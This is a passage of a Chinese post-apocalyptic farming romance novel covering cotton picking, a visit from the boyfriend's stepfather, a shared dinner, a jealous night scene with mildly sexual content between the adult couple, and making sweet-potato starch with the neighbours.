袋子收满了就带到田埂上装进大袋子。
棉花虽然轻,但为了避免每次来回浪费时间,时枌都是会压一压,尽量塞满才带出去。
中途休息的时候,赵弋看着绵绵不绝的棉花,终于想起了上一次讨论棉花这个话题时提到的某个人。
他后爸。
他立刻,给赵千嶂发了一个坐标。
时枌探头过来。
她顶上戴着草帽,脸都被热的红了起来,一身旧衣裳,长袖长裤,累的直喘气。
“你在干嘛?”她问。
“摇人。”
时枌眼睛就亮了起来,“什么时候能到啊?”
“估计再过一两个小时就能到。”
时枌就很欣慰,“那能帮忙捡四五个小时的棉花呢。”
有人帮忙,时枌干劲十足,休息完就又投入到捡棉花当中。
这些棉花不是一天能捡完的,今天罗辉家有点忙,明天才能过来帮忙,只有时枌跟赵弋两人在捡。
过了一个多小时,越野车旁边已经满满当当装了好几大袋棉花的时候,终于有动静传来。
时枌在棉花地里仰头望过去,看见一辆军绿色的越野车驶了过来,在他们那辆黑色越野车旁边停下,然后从车副驾驶下来一个穿着黑色制服戴着墨镜的高大男人,他下车后第一时间去拉开车后座车门,恭恭敬敬弯腰将人请出来。
时枌就看见了一个很魁梧严肃的中年男人。
看年纪就知道应该是赵弋的后爸,时枌还在犹豫要不要去迎接,赵弋就穿过棉花走了过来,俯身将她腰上的袋子解开拎在手里,然后拉着她的手往外走,那边中年男
人也在看着他们。
时枌还怪不好意思的。
上了田埂,没等赵千嶂开口,他的好大儿就已经把边上布袋丢给他:“愣着干什么?来了不干活?”
赵千嶂:“……”
看着面前晒的通红一身农民打扮的好大儿,他承认,一开始见到赵弋是心疼的,但是好大儿一开口,他立马就不心疼了。
他默默嘀咕两句,偷偷瞥了眼好大儿旁边站着的女孩,一边给自己麻溜系上袋子,——他上一次捡棉花还是小时候跟着大人去田里帮忙,一边试探着开口:“这位是?”
“我叫时枌。”
“我女朋友。”
两道声音响起。
而时枌脸上坦然没有半点犹豫或者为难。
赵千嶂懂了,他喜笑颜开,严肃的脸上都笑出了褶子,“时枌啊,我儿子给你添麻烦了。”
“不添麻烦,他很能干。”
“这片地都是你的啊?”
“嗯,都是我的。”
“大户人家,是赵弋高攀了。”
“……”
文邹邹的,时枌不知道怎么接话,扭头看了眼赵弋。
赵弋:“别聊了,抓紧时间干活,天黑了就得收工,让你司机下来呗,他一个人闲着好意思?”
“老李年纪大了……”赵千嶂刚开口,司机就气呼呼下来了,自己给自己收拾系袋子。
他跟了赵千嶂几十年,刀山血海冲过,满城丧尸砍过,他好歹是城里的孩子军校出身,长这么大就没干过农活,但是这种时候,他更不好意思在车上赖着吹空调。
不就是捡棉花?
有什么难的?
身边的保镖很有眼力见,早在赵千嶂系袋子的时候就给自己安排上了。
一下多出三个劳动力,时枌很开心,“晚上留下来吃饭!”
司机跟保镖被分配到旁边一块田,时枌还是去原来的地方,而赵千嶂则是屁颠屁颠跟在儿子屁股后头,一边手脚麻利地捡棉花,一边眼巴巴地啰啰嗦嗦问他在阳县的情况。
场面很是和谐。
第115章 第115章她不清白了。
其实捡棉花这事,是很枯燥的。
以前时枌小时候捡棉花都会跟爷爷奶奶一起聊聊天,说说话,这样不知不觉捡的快,时间也过的快一些,人也不觉得累。
但是今天任务多,她决心要好好捡,多多地捡,就没跟赵弋离太近,想着自己要专注一些。
结果那边叽叽喳喳的后爸追着赵弋说话的声音往她耳朵里钻。
“你女朋友家里几口人啊?地这么多,管的过来吗?”
“跟爷爷奶奶长大,爷爷奶奶已经去世了。”
“那她爸妈呢?”
“……”好问题,赵弋也不知道。
这年头父母不全的孩子多了去了,所以跟时枌接触过程中听见她一直念叨爷爷奶奶他也不觉得有什么,更没想过她父母的情况。
“啧,”他爸的语气就变得嫌弃,“你怎么都不问问?这么不关心人家?你俩真的在谈恋爱吗?你这么不贴心,你俩的关系真的能长久吗?”
“……闭嘴吧。”
“她一个小姑娘守着这么大的地有没有受欺负?你作为一个男人,到人家家里住,平时帮着干活吗?主动吗?她嫌不嫌弃你?”
“……”
“我看人家时枌长得漂亮性格又好,干活也认真,大大方方的,看见我一点都不怵,你得好好把握啊。”
“……”废话,他难道就不知道吗?他已经很努力在把握了。
“你妈今天有点忙就没亲自来,不过她让我带礼物过来了,你看我一会儿是饭桌上给她还是怎么?”
“随你便。”
“这地方这么偏,你们家里弹药充足吗?要不要我偷偷给你带点‘好东西’出来?”
聊半天终于聊到点有用的。
“需要。”
“好,下次我来给你们带过来。”
赵将军亲自给他偷运武器,不知道的还以为他俩要干点啥。
“你们……”
他后爸又要开口。
赵弋瞥了眼他闲下来的手,“你光顾着聊天不干活?到时候过去把袋子一倒你棉花最少你好意思?”
赵千嶂:“……”
这下他爸就老实了。
时枌竖着的耳朵也偏了过去,继续捡棉花,眼睛一瞥,就看见那边的保镖被晒的满头大汗,都湿透了衣服,尤其是他还穿的一身黑,在太阳下边晒的衣服都贴在身上,显露出明显的肌肉轮廓。
保镖的这身肌肉跟秦丰牛蛙那种比起来稍显小,但是又比赵弋那种偏瘦的类型显得训练痕迹更多,尤其是肩膀,特别宽,胳膊似乎有她大腿粗,看着还挺吓人,抬手的时候鼓鼓囊囊的肌肉隐约都要撑破衣服。
时枌一不小心就看的有点久。
真的,就一点点。
莫名觉得背后有一道难以忽视的目光盯着自己,凉飕飕,像有人在放冷箭。
时枌一扭头,就看见赵弋正看着她,眼神淡漠,见她回头还没有感情地扯了下嘴角,仿佛下一秒就要丢下袋子撂挑子不干了。
时枌连忙扭过头,继续捡棉花,装作什么都没发生的样子。
赵千嶂看见前边的儿子停下脚步,敏锐地察觉到两人之间微妙的氛围,再抬头看看今天带的保镖,一脸慈爱地安慰儿子:“没事,小钱已经结婚啦。”
赵弋:“?”
什么意思?难道那小子不是已婚就有机会了?
他后爸觉得他比不过人家?
直到快天黑收工回家,赵弋再也没有搭理过他后爸。
长达四个小时的辛苦劳作,保镖一个黑乎乎的帅小伙已经变成邋遢农家汉,后背上黑色衬衣的汗干了又湿湿了又干,只剩下一层白色的盐析在上边格外显眼,原本还有几分白皙的皮肤也被晒的通红,肉眼可见的黑了起来。
至于年过半百身材微胖的司机,原本养尊处优,今天半天累的够呛,白衬衣变得乌漆嘛黑,胳膊上还有被棉花壳划出来的印子,这会儿正在田埂上两手撑着腿喘粗气,赵千嶂看了都于心不忍过去询问他怎么样,司机很坚强地摆了摆手,只是喘得更厉害了。
只有时枌,看着他们那一堆夹杂着不少棉花壳以及黑色碎屑的棉花,心情沉重地让赵弋不要把他们的棉花跟他们的装在一起。
因为没有机器,为了方便后续装棉被做棉衣,时枌都是尽量挑选最蓬松最白皙的棉花采摘,棉花炸开后,外壳底部的叶子干枯,很脆,一碰就碎,碎了就是一小块一小块黑色的碎屑,非常容易沾在棉花上,这样就不方便后续做棉衣装棉被。
赵弋看了眼他们跟对面三人颜色不一致的棉花,心里就明白了。
时枌嫌弃他们捡的棉花脏。
果然,论干活,还得是他。
“是不是中看不中用?”赵弋靠过去轻声问她。
时枌:“……”
她只觉得背后蛐蛐别人很没礼貌,于是她没搭话。
赵弋冷笑一声,扛着棉花搬上车,没再跟她搭话。
有两辆车,他们开过来的那辆越野还挺能装,挤一挤还是能塞下的,就是后备箱关不上,但也
没关系,只要不掉半路就行。
两辆车载着棉花回到农场。
刚下车,时枌就看见赵弋他爸红光满面从车上下来,背着手看着面前广阔的马场,整齐的田地,以及很有规划的各种牲畜栏。
其实来的时候经过这片地方赵千嶂就在车上跟司机保安聊了半天,说这地方真好,真想打下来以后留着给他养老。
现在对着自家儿子的女朋友他当然不敢说什么打下来,只是一个劲儿地夸。
“还有马啊,这马场真不错啊。”
“它是小花。”时枌说。
时枌最近忙的要命没时间管小花,就随意放着它在这边吃草,偶尔罗辉会帮忙来驯,但是时枌觉得这个任务很艰巨,因为小花还是匹小马,而且她这段时间一直不在家没人管,性子已经变的狂野,偶尔连时枌都不搭理,时枌感觉小花可能只能作为吉祥物养在她的农场了。
“这片土豆长得真好!是秋土豆?土地真肥啊!”
“是秋土豆,下个月应该就能收了。”
“哟,还有无花果!”
“可以摘。”
“好多枇杷树啊!长得真壮!平时怎么养的?我在院子里种的枇杷树就长得矮矮小小。”
“往它下边埋丧尸。”
“啊,原来如此。”
赵千嶂是个粗人,但他老婆不是,为了让自己有文化赵千嶂做出了不少努力,其中就包括偷偷看老婆看过的书,偶然发现一句“庭有枇杷树”,就眼巴巴去找了枇杷树种在院子里,然后晚上跟老婆邀功。
因为这件事,他老婆唐璟半个月没搭理他。
赵千嶂一路逛一路夸,时枌陪着答疑解惑,保镖司机还有赵弋在卸棉花。
“这鸡养得真好!”
“这鸭叫得中气十足!”
“这鹅长得可真凶!”
“这羊圈真结实!”
“这茅坑真平整!”
时枌:“……”
她跟着逛的有点累了。
终于,赵弋叫她去打下手做饭。
赵千嶂拦住她:“做饭这种小事我来就行了!”
让客人做饭?
秦丰他们每次来都争着去厨房。
时枌这么一想就不觉得有什么了,让他去了厨房,自己准备去楼上洗个澡,再把蜡烛点一下,天都黑了。
而在厨房忙活的赵弋看见他爸进来,两眼一黑,安排他去生火。
他听见时枌在客厅安排保镖:“外边有个洗澡间,你们觉得不舒服可以去洗一洗,有自来水。”
“谢谢谢谢。”保镖感激不尽。
“需要换洗衣服吗?”
“不用不用。”
“那行,你们自便。”
听完全程的赵弋整个人都酸了。
他在厨房生火做饭,她对人家嘘寒问暖?
谁不是没洗澡啊?他就不脏吗?怎么不问问他洗不洗要不要换洗衣服?她打算拿谁的衣服给人家换?!
赵弋咬牙切菜,把砧板切的砰砰直响,惹得在客厅排队准备洗澡的司机都忍不住进来,问要不要帮忙。
“正好,你来帮忙生火!我看看有啥,好歹做个菜。”看见满配厨房的赵将军手痒难耐,摩拳擦掌准备大干一场。
赵弋已经定好了今天的菜单,炒茄子,番茄炒蛋,凉拌皮蛋,打个丝瓜鸡蛋汤,再蒸点米饭咸鸭蛋玉米就差不多了。
赵千嶂强烈要求要给他发挥机会,加一道炒土豆丝。
赵弋很冷漠地开口:“去烧水。”
赵千嶂:“你要相信你爸的手艺!”
他就是太了解他的手艺才会做出这个决定。
同样了解赵将军手艺的司机老李为了保证今天能吃上一顿正常饭,主动来帮忙打下手,把赵千嶂挤得只能去淘米。
备好菜,赵弋先做茄子,皮蛋交给司机老李处理,再炒番茄鸡蛋,最后才是汤。
时间卡的刚刚好,最后一个菜盛出来,米饭也蒸好了。
时枌早就洗完澡,换了身舒服的长裙下来,发现厨房人太多根本挤不进去,就在客厅跟保镖大眼瞪小眼,瞪完发现实在是尴尬,无话可聊,她就去喂鸡鸭,大晚上给它们上宵夜,跟小狗玩,直到厨房陆陆续续往外端菜她才回来,帮忙拿碗筷,招呼人坐下吃饭。
辛苦做完饭的赵弋一出厨房,看见的就是时枌朝保镖递碗筷这温情的一幕,仿佛他俩才是一对,而他只是个厨子。
赵弋,更酸了。
人多,他们在长餐桌上吃。
赵千嶂左边是保镖右边是司机,正对着他儿子,而赵弋右手边是时枌。
这就导致了,时枌一抬头,发现对面是保镖。
“……”
她反应过来扭头偷偷瞥赵弋。
正好赵弋侧头过来看她。
“……”
她不清白了。
饭桌上赵千嶂正在侃侃而谈,夸这个玉米长得可真玉米,得知都是时枌种的之后又夸时枌辛苦耐劳,是个很优秀的小姑娘。
赵将军把这辈子的墨水都倒出来了。
甚至把一桌子饭菜一道道夸了一遍,——尽管时枌一道菜都没插手。
而且这里除了鸡蛋就没有别的荤菜,时枌已经很不好意思了。
保镖司机埋头干饭,时不时捧两句场,避免赵将军尴尬。
最后一桌子饭菜都吃的干干净净,蒸的五个玉米实在是吃不完,赵千嶂觉得可惜,揣兜里说回去路上当宵夜吃。
干了一天的活儿,大家都累了,吃饱了就不想说话,靠在椅子上两眼放空。
时枌都觉得自己吃的有点撑。
因为这几个都是狼吞虎咽的,她怕自己吃不到菜只能加快夹菜速度,一着急,就吃多了,这会儿才发现撑。
吃完饭,他们三个也要走了。
临走前赵千嶂掏出一个巴掌大的盒子,塞到时枌手里,笑呵呵地说:“第一次见面没准备什么好东西,这个是他妈给的,戴着玩玩。”
时枌想都没想就收了。
原本准备了一番推拉的赵千嶂一时间卡壳,过了几秒才抬头看了看她这几座哨塔,“我下次来再给你带好东西。”
他仔细打量哨塔许久,边看边点头,还跟司机嘀咕两句,司机也跟着抬头看,两人一阵比划,再对视,点头。
完全不知道他们在干什么的时枌:“……”
终于,等他们聊完,要走了。
来时干干净净清清爽爽的三个,回去衣服也脏了,袖子也勾破了,脸更是快晒脱皮,坐上车离开时赵千嶂还依依不舍地从车窗探出头跟他们挥手告别,说下次还要来。
直到车消失在夜色中,只剩下车灯,时枌才转身进屋。
“把门锁一下,我先上去冲个澡,吃饭吃出一身汗……”时枌说着看见赵弋,话还没说完就卡了壳。
赵弋捡完棉花回来帮忙卸货,再马不停蹄进厨房生火做饭烧水,忙了一整天,整个人完全没什么形象可言,头发乱糟糟地横七竖八,脏兮兮的袖子卷到手肘,露出因为暴晒过度已经产生分界线的黑白皮肤,做饭时嫌热裤腿也卷了起来,踩着一双拖鞋,正在弯腰收拾碗筷。
他就像一个家庭怨夫,浑身散发着低压,干活的时候还不忘幽怨地朝她看过来。
这让准备上去洗个澡就睡的时枌产生了一种莫名的愧疚。
怎么短短一天时间,在阳县还是赵指挥的人在她这里就变得跟难民似的?还是没吃饱饭的那种。
“我来擦桌子!”
时枌赶忙去拿抹布,小心翼翼不让自己换过的衣服弄脏,再小心翼翼拿着抹布去厨房清洗,她拿抹布的样子就像是攥着一颗地雷,离自己远远的。
已经刷完刷得一身油水混合物的赵弋看见被丢进水池的抹布。
啪嗒,又是一波水溅到他衣服上。
赵弋:“?”
时枌:“……”
“要不你洗?”
时枌就一脸为难:“可是我洗过澡了。”
所以呢?他没洗澡就活该一脏脏到底是吧?
第116章 第116章比自己来更快活。……
他这一天可真的太精彩了。
赵弋都被她气笑了。
他把她扔进来的抹布抓起来摁了两泵洗洁精搓几下,再用流水冲干净搭到墙上的架子上,继续在
满是泡沫的池子里洗碗。
全程冷脸。
时枌再迟钝都知道这会儿她要是上楼睡觉可就太过分了。
“要不……我帮你冲盘子?”
“不用。”
“我去倒热水!”
“不用,已经倒热水壶里了。”
“我……”
“不用。”
“……”
“那我上去睡觉?”
赵弋把手里的抹布往池子一扔,溅起的水都快溅到时枌身上,被她敏捷躲过。
“你敢。”
“哦,那我陪你。”
这还算句人话。
赵弋拿起抹布,放水,继续冲盘子,再擦干,连带着把水池旁边都擦干净,收拾了流理台,才把抹布晾在水龙头上。
时枌全程安安静静站在旁边。
看他洗完,才抬头看他。
两人对视。
时枌小心翼翼问:“我能上去睡觉了吗?”
赵弋皮笑肉不笑,“早着呢。”
“还要干啥啊?”
“等我洗完澡再说。”
时枌撇撇嘴很不乐意地跟着他上楼去,她脚好的差不多,但拎水这种力气活还是由赵弋来,避免没好全又出事故。
天气转凉,赵弋也不是那么矫情要热水洗澡,只是习惯往楼上拎一壶热水,这样她早起能喝到水,如果天气太冷,早上洗澡还能兑温水洗脸。
赵弋去卧室翻到自己的换洗衣服,进浴室的时候看见她在书架旁边找书,就知道她是要等他睡觉,稍稍气顺了一些。
但是等他洗干净出来,就看见她躺在床上书掉在脸旁边,睡的安然。
赵弋深吸口气,吹灭了客厅的蜡烛,进卧室,关门,钻进蚊帐看看有没有蚊子,再把她的书收到枕头旁边,然后,将人脑袋扶正,面对自己。
时枌刚睡着,睡的浅,被他一扒拉就睁开眼睛,困得不行,一闭一闭的,哼了两声就去拉他的手想继续睡。
赵弋不让,反而拉着她的手往自己衣摆下去。
迷迷糊糊的时枌就觉得手指触碰上一个冰凉又炽热的东西。
他刚洗的冷水澡,皮肤表面还有水汽,刚碰上去就是冰冰凉的,但是久了,就能感受到底下的热,就像一片燃烧的冰块。
时枌茫然睁开眼,映入眼帘就是赵弋那张好看的脸。
抛却这人生人勿近的气质来看,赵弋这张亮是非常耐看的,鼻梁高挺,薄唇微抿,下压的眼皮透露着主人此时的情绪。
他在生气。
为什么生气来着?
时枌已经忘了。
她困的很。
不想跟他大晚上试这试那,她伸手推了推,这使得她的掌心更贴近这人腹部。
她没怎么用力,自然是没有推动。
赵弋反而压了下来,低声问她:“捡棉花的时候在看谁?”
时枌有点清醒了,想起了棉花田里后背发凉的感觉。
“……没有看谁,我在认真捡棉花。”
“嗯?”这个声音就有点危险了。
“他在我前面,我眼睛这么大,只是随便瞥到了!”
“他胳膊是不是很粗?”
“还好吧,比秦丰细点吧。”时枌下意识接道。
然后她就彻底清醒了。
睁眼对上赵弋的眼神。
“我只是从客观角度……”
赵弋松开压着她手背的手,直起上半身,低头,勾腰,抓着衣领把自己身上这件短袖扯了下来扔到一边,拉着她的手从腹肌到胸肌。
“我没有吗?”他咬牙切齿地问。
“你有你有。”时枌很识时务地快速接话。
手下的皮肤滚烫,胸口起伏,让她的手也跟着起伏,从呼吸就能听出他是真的很生气了。
又到肩膀,手臂。
时枌脸都热了起来,想要抽出自己的手,又被人带到后颈,胳膊搭在肩头。
“他斜方肌那么大,脖子都快没了,很好看吗?”
时枌哪知道什么斜方肌直方肌的,反正他说什么她顺着哄就是了:“是是是,没你好看。”
赵弋又拉着她到腰侧,时枌觉得烫手,缩了一下。
“你还没摸完。”
他盯着她。
这腰……真是一点肥肉都没有啊。
时枌自己腰边还是有一点点肉的,她洗澡的时候喜欢揪一下,软乎乎的,很好玩,但是赵弋这种纯瘦的,还有凸起的血管以及因为腰部不见光皮肤白而更明显的青筋,莫名让人口干舌燥。
这种肉不太好吃吧,时枌想着,她其实更喜欢肥瘦均匀的肉,更香。
赵弋看着她眼神飘忽,意识到她在走神,一咬牙,将她手往下带到挺翘的地方。
忽然从瘦到肥,时枌眨眨眼,没反应过来。
“不是说喜欢这个吗?”
平时还不给摸的,今天他是疯了吧,竟然主动给她。
时枌颇为留恋地抓了一下,“嗯,喜欢,他没你翘。”
“……”赵弋沉默半晌,“你看了?”
“……我说顺带的你信吗?”
他低头就吻了上来。
比任何一次亲吻都要急躁,迫切地探入、占有,不允许她有一丝一毫的逃避,牙齿都差点磕到,还好时枌经验丰富及时张嘴,但这也更方便他的搜刮扫荡。
舌尖抵着舌尖,含着她的唇,一点点侵染,直到听见她的嘤咛,婉转声调钻进耳朵里,拨弄着他紧绷的神经。
时枌热得不行。
尤其是他压得太紧,似乎空气都被榨干了,她只能试图张嘴呼吸,喘息的间隙,赵弋略松开,看见她微张的唇,俯身轻吻,一手抚着人脸颊,声音沙哑地问:“摸这么久,该我了吧?”
时枌脑子就跟浆糊一样,下一秒就被人掐着腰调换位置,轮到她被迫坐上,卡在人腰间,膝盖压在床面,裙摆都被下方曲起的的长腿撑开。
原本以为是跟之前一样以他为主,没想到这次受苦受累的人却变成了她。
他的手跟自己的很不一样,非常烫,还带着茧,经过的地方像是被点燃一簇簇小火苗,带起一阵火焰灼烧的酥麻感,时枌几乎是下意识地挺月要,结果离他更近。
经过她刚刚碰过的地方,仰头在人颈侧亲吻,鼻尖扫过耳垂是发觉她缩了下肩膀,赵弋像是发现什么有趣的玩具,薄唇轻抿而上,就看见她一整个颈侧都红了,比他碰到腰反应还大。
没有衣裳阻隔,还是头一回让她成为这个被伺候被讨好的对象。
说不清是什么感受,时枌只知道自己的认知一次次被刷新,以前从未设想过的洗澡时自己也会碰的地方意料之外地反应强烈。
是高烧时被裹在被子里闷出一身的汗。
皮肤像烧熟的虾子,喉间不受控制想要冒出什么,时枌实在是觉得有点丢人,紧紧搂着人肩膀,实在忍不了,就低头咬上去。
赵弋一手轻顺着她后背,微微侧头亲亲她,似是安抚,底下却很嚣张地抵着人,耳边全是她过后的喘气声,让他听得很满足。
比自己来更快活。
安静过后,她趴在他肩上。
“还看不看他?”
“看谁?”
很好,他很满意这个回答。
尤其是她一脸迷惘地说出这两个字的时候,证明她脑子里根本就没留下过其他人。
赵弋心情好了,伺候人也更有耐心,托着她起身时不忘记抓起床上遭殃的毯子,时枌瞥了一眼,看见上边的水迹一阵脸热,埋在人肩头就当没看见。
抱着人去浴室,赵弋甚至给她兑了盆温水仔细擦拭。
过后时枌只觉得更困,眼皮重的很,也没脑子去多想,似乎之后他抱着自己亲了半天,她迷迷糊糊回应一会儿就很不耐烦地去推他,后半截被抓着手腕,又是温水洗手,她才回到舒适的床铺倒头就睡,赵弋之后才回来,还给她拿了条干净的毯子盖上。
他好像睡得很晚,时枌睡得不安稳,不知道是因为总是有动静,还是习惯了身边有人,直到他带着一身水汽回来,还有淡淡的肥皂香,时枌甚至不知道自己问了句“你去洗衣服了?”
他回:“嗯,明天就能
干。”
“哦。”她终于睡了。
平时习惯早起的时枌难得日上三竿才自然醒,手臂酸麻,是昨天捡棉花的后遗症,手腕也有点不舒服,她睁开眼看见自己的手腕上的吻痕,这才想起昨天晚上赵弋哄着她拉着她手亲吻,——神经病一样。
一翻身,旁边睡着神经病本人。
他也没醒。
他昨天从阳县到农场,捡棉花卸棉花做饭洗衣服,扎扎实实忙了一整天,的确是累到了。
时枌很善良地没有叫醒他,自己偷偷爬起来去洗漱,想着自己先收拾完,这样他一会儿起来就可以洗漱完下楼做早饭。
她都有点饿了。
这会儿已经是中午,再过一会儿就要错过两个饭点,她会饿是正常的。
时枌找了点瓜子,坐沙发上一边看书一边嗑。
赵弋就是被咔咔咔声吵醒的。
爬起来就看见她歪在沙发上,悠闲看书。
仿佛他是那个纵欲过度起不来的人。
赵弋第一次觉得自己男性尊严受到了伤害。
他竟然起的比她晚。
“你什么时候起来的?”他问。
“十分钟前。”
“哦。”
还好,十分钟而已,他的男性尊严并没有受到什么实质性伤害。
刷牙洗脸,快速弄完,下楼的时候问她:“现在吃什么?蒸米饭还是下面条?”
“面条吧,记得喂狗,它们一早上没吃东西了。”
“行。”
赵弋下楼,先把前门后门打开,前门刚一开就看见虎子大熊带着三只小狗幽怨的蹲在门口仰头看着他。
“……”
他去拿了小鱼干,一条狗发一个,让他们先垫垫肚子,再去和面做面条。
第117章 第117章“是不是变大了。”……
吃完面条,两人带上装备,去找罗辉一起去捡棉花。
昨天干了一大半,还剩一点,今天就能干完了。
罗辉跟余袅还有烈烈阳阳都跟着来棉花田,罗辉骑马,余袅跟两个孩子坐在车后座。
烈烈阳阳很少能坐到车,上车后脑袋趴在车窗上吹风,张嘴惊呼,余袅只能一手拽着一个,生怕他们掉下车去。
“好快!比骑马还快!”阳阳高兴地叽叽喳喳,余袅都差点拉不住她。
烈烈相对妹妹来说显得更稳重些,却也是睁大眼睛看着外边不断后退的风景,嘴上没有尖叫,但是心跳已经加速。
余袅无奈,揪着两个孩子的衣服,在后视镜里跟时枌对上眼,歉意一笑。
时枌笑笑表示没什么。
“前两天忙着建羊圈,割草预备过冬,就没来帮忙捡棉花,没耽误你们事吧?”
“没事,昨天有人来帮忙了。”时枌说。
余袅当然也看见了那辆车,“没耽误就好。”
冬天,对于他们独立生存的人来说不是浪漫的雪花,而是严寒之下的挑战。
时枌每年秋天都会储备足够的炭火还有食物,提前杀猪腌腊鱼腊肉,做一些能长久储存的食物,再清理烟囱,做好保暖,不仅是她的保暖,还有农场其他动物的。
“你们打算什么时候杀猪啊?”余袅问。
“得十二月份吧,现在还不太冷,到时候腌腊肉也来得及的。”
“我跟罗辉商量着到时候跟你们换一些猪肉,烈烈跟阳阳两个孩子平时吃牛羊肉都腻了,最近嘴又刁,鱼也不爱吃。”
“行,到时候咱们换。”时枌想起自己还有不少收获的食物,“还有一些土豆红薯玉米,到时候也拿一些去,反正我们也吃不完。”
“好,那我就不跟你客气了。”
他们家养两个孩子,舍不得不让孩子吃肉,偶尔罗辉还会进山打猎给孩子们加餐换一换口味,蔬菜这些反而吃的少,虽然有时枌这样的邻居,罗辉一家人也没有天天打扰摘菜的意思,每次都是以物换物,很有分寸。
有分寸这点让时枌跟他们相处的很愉快。
“到了。”驾驶座的赵弋出声,平稳将车开到田埂旁边。
刚停好车,烈烈跟阳阳就从车上蹿了下来,叫着要去抓泥鳅钓小龙虾。
兄妹俩出来就是来玩的,身后还缀着一条狗,是时枌带来的大熊,大人们要干活,小孩子放养也不太安全,她就带上了大熊来看孩子。
余袅没捡过棉花,一开始就跟在时枌后边学习,罗辉跟赵弋去另一边,分好工就开始干活。
棉花不是一次性全部炸开的,这段时间捡完了,过几天还会有零散的棉花炸开,到时候还得来摘,只是最近很久没下雨,时枌担心下雨才想在最近赶紧把棉花尽可能摘完。
她今年种的棉花比较多,因为以前存的棉被已经不暖和了,加上时间太长,棉花旧了,今年她得做新的棉被才行。
好在之前去保护区买了新的保暖衣服,她今年不需要自己做棉衣,省了很多事。
时枌跟余袅一边捡棉花一边聊天。
得知余袅会弹棉花,时枌很惊讶。
“小时候经常去人家弹棉花家里玩,看多了,就学会了,偶尔还会去帮忙,挣了不少零花钱呢。”
“我家有现成的工具,那到时候我们一起做棉被。”
“好啊。”
余袅针线活很不错,家里人的衣服都是她缝缝补补做出来的,这次也是打算跟时枌换一些棉花给孩子们做冬天保暖的棉服。
“我平时闲着没事收了不少羊毛,搓成线,织些围巾毛衣什么的,等到时候我送你一条围巾。”余袅笑着说。
他们家羊多,余袅跟着罗辉学的这些,已经攒了许多羊毛。
“我奶奶以前也会给我织毛衣,后来家里的毛线都被她织完了,就拆我小时候的毛衣织新的。”
时枌其他的都还好,唯独跟针线不合,做的东西都磕磕巴巴的,所以奶奶在世的时候一直给她做衣服,生怕她走了她的小孙女没有衣服穿。
说到衣服,时枌倒是记了起来,“我家柜子里还有一些我小时候的衣服,晚上我收拾了给你送过去,烈烈是穿不了了,阳阳应该能穿。”
“晚饭后我自己过去拿吧,不好意思让你送过来。”
今天只忙到下午五六点,熬过了最热的时候,时枌看棉花也捡得差不多了,她还揪了一袋子没炸开的棉花桃打算回去剥。
下次得过些日子再来捡,还能收获一批。
等彻底收完了,剩下的干枯的棉花杆子还可以捡回去当柴烧。
大家都热的不行,今天时枌起的晚没有煮绿豆汤,到她农场时罗辉跟赵弋把棉花卸下来,时枌看没东西招待烈烈跟阳阳,就去摘了几个无花果塞到他俩手里,偷偷跟他们说:“明天姐姐跟你们去钓小龙虾!”
阳阳欢呼一声。
赵弋过来,看她弯腰跟小孩说话,问他们在说什么。
“赵弋叔叔,时枌姐姐说明天跟我们一起去钓小龙虾,你要一起来吗?”
“?”
钓不钓小龙虾他不知道,但这个赵弋叔叔是怎么回事?
烈烈还很懂事地把手里最大的一个无花果给赵弋,“叔叔,你吃这个,今天辛苦了。”
“……”
时枌完全没意识到有什么不对,摸摸烈烈脑袋,“不用了,我们家里有很多,这些是给你们的,拿回去吃吧。”
帮忙卸完棉花罗辉他们也要回家做饭了,时枌也很忙。
“我们得做一些能放的东西,随时吃,你说是不是?”
天天都要现做饭,真是太累了。
虽然现在不是她做。
一身汗的赵弋累到叉着腰,“先确定晚饭吃什么。”
他是厨子,得按他的流程来,时枌表示理解。
“那生火做饭?我好饿。”
“我也是。”
“青椒炒鸡蛋,炒冬瓜,蒸南瓜?”
很好,又是全素。
但时枌是真不想现在这么晚了还去杀鸡拔毛。
赵弋也不想。
素就素吧,填饱肚子就行。
“好,我去生火,你打算做什么?”
“秦丰之前教过我做红薯粉条,我想我们正好收了一批红薯,天天吃红薯也没什么意思,有粉条的话以后想吃就泡,跟面条一样,早上能当早饭吃。”
赵弋不会这些,但他吃过粉条,觉得可行。
“需要我帮忙吗?”
“不用,我自己来。”他还得做饭呢。
时枌去工具房拖出来一袋红薯,扎扎实实一整袋,估计能有个四五十斤的样子,先拖到后院水龙头处用刷子清洗干净,用盆装好,再去找了个表面磕磕巴巴的石头,开始搓红薯。
这完全就是个力气活。
外边天很快就黑了,时枌就把石头跟红薯搬进屋子里继续搓。
赵弋在厨房丁玲哐当,就听见外边奇奇怪怪的动静,抽空探头出来一看,就发现她坐在小板凳上搓红薯搓的起劲。
……真能干啊。
石板上累积多了碎红薯之后,时分就会用一瓢清水给它冲下去,再继
续搓。
目测估计,这一堆红薯得搓半晚上。
赵弋抓紧时间做了饭,把给狗吃的盛到一边晾着,叫她先来吃饭。
时枌又饿又累,吃了两碗米饭,肚子都吃撑了,吃完只觉得一阵眩晕。
胀的。
“炉子上煮着绿豆汤,你去洗碗,我帮你弄红薯。”顺便练练胳膊。
他只是不常锻炼,毕竟平时出任务的频率跟锻炼也没什么差别,肌肉没有太大也只是因为他的工作内容跟肌肉大不大毫无干系,跟个人整体身体素质关系更大,——赵弋是这么觉得的。
正好时枌也想站起来顺一顺。
去厨房洗了碗,把晾好的饭喂狗,又看了眼绿豆汤,想起来她还得给阳阳收拾衣服。
她跟赵弋说了一声,就上楼挑了一些自己小时候的衣服,可惜大多都是夏天的裙子裤子,冬天的棉衣已经不暖和了,拿不出手,时枌只挑了些还能穿的,就带着去了趟罗辉家。
不出意外又被塞了一堆东西。
一桶他们家今天收上来的鱼,还活蹦乱跳,说带回去还能喂几天,正愁没肉吃的时枌也不推辞就收下了,还有几块酱牛肉,这个时枌更是拒绝不了。
拎着鱼抱着牛肉到家,时枌路上就撕了一口牛肉,特别好吃,把水桶放到厨房后,她就撕了一小块喂到辛勤搓红薯的赵弋嘴边。
赵弋闻到肉香,张嘴吃了。
“怎么调味的?”他第一反应是这个。
“不知道,只有他家牛肉是这个味道,特别好吃!”时枌又给自己塞了一口,为表公平,也给他塞了一口。
以免明天没菜吃,剩下的牛肉时枌就收到厨房柜子里了,再过来帮忙弄红薯。
赵弋不让她搓,自己撸起袖子一副要把石头锉平的架势。
时枌就去把搓下来的红薯泥收集起来,用纱布包好,摁压出浆水。
剩下的红薯泥就集中收到另一个大盆里面,留着明天喂猪。
就这样,几十斤红薯被搓成泥,滤出浆水,整整齐齐摆了四个桶靠墙放着,等待明天沉淀好了就能进行下一步。
